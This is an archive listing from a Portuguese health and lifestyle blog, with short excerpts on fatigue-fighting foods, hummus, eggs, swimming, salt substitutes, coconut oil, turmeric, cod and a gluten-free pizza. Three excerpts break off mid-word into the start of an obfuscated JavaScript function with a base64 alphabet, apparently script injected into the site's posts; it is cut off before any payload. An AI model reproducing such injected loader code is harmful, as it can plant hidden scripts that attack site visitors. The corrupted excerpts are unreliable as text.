Fev 20, 2017 | Dicas úteis
10 alimentos para combater a fadiga De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Fev 16, 2017 | À descoberta, Receitas
Dicas saudáveis – 7 benefícios do húmus + receita Já sabe que adoro dar-lhes dicas saudáveis! Hoje trago-lhe um snack fantástico riquíssimo em benefícios para a nossa saúde. O húmus é um prato árabe feito à base de grão de bico, azeite, sumo de limão e...
Fev 9, 2017 | Equilíbrio, Saúde e bem estar
10 boas razões para comer ovos cozidos Os ovos cozidos podem e devem ser um bom aliado na sua alimentação. Em tempos, por desconhecimento, dizia-se que não se deveriam comer ovos todos os dias porque estes seriam responsáveis pelo aumento do colesterol mau no...
Fev 7, 2017 | Saúde e bem estar
Os 10 benefícios da natação para a sua saúde Um estilo de vida saudável é a melhor forma de prevenirmos idas ao médico. Alimentação cuidada e exercício físico são fundamentais. Se quer uma sugestão, eu adoro a natação. Faz bem a tudo e não corremos grfunction...
Fev 2, 2017 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – 7 alternativas ao sal Se quer ter mais saúde ou se sofre de problemas como a hipertensão ou colesterol elevado, reduzir drasticamente o consumo de sal é prioritário. Mas saiba que a comida não tem que deixar de ter sabor. Não! A ideia é substituir...
Jan 30, 2017 | Dicas úteis, Em Alta, Estilo e beleza
Usos surpreendentes do óleo de coco Gosta de coco? Então este post é para si! Certamente já ouviu falar do óleo de coco, saudável alternativa aos óleos de culinária. O cheirinho é divinal e o sabor nem se fala! Para mim, torna qualquer prato mais apetitoso. O que...
Jan 18, 2017 | À descoberta, Dicas úteis, Em Alta, Saúde e bem estar
5 grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 27, 2016 | Equilíbrio, Saúde e bem estar
Dicas saudáveis – Benefícios da cúrcuma A cúrcuma, vulgarmente chamada de açafrão das índias, é um tempero culinário saboroso e que deixa qualquer prato com um amarelo SOL, que nos faz ter saudades do verão. Mas para além de ser uma especiaria bastante...
Dez 23, 2016 | Equilíbrio, Saúde e bem estar
5 boas razões para comer bacalhau “P” de Portugal, “P” de pescador, “P” de peixe!! O “P” é, de facto, uma letra de muitas paixões!!! Como bons portugueses que somos, não dispensamos uma saborosa refeição proveniente do mar, cozinhada com a mestria que nos é...
Dez 16, 2016 | À descoberta, Em Alta, Receitas
Conheça a receita de uma piza saudável Piza sem glúten com base de couve flor INGREDIENTES PARA A BASE As flores de 1 couve-flor 80 g de farinha de amêndoa 1 colher de sopa de orégãos Flor de sal e pimenta-preta moída no momento 3 ovos batidos INGREDIENTES PARA OS...
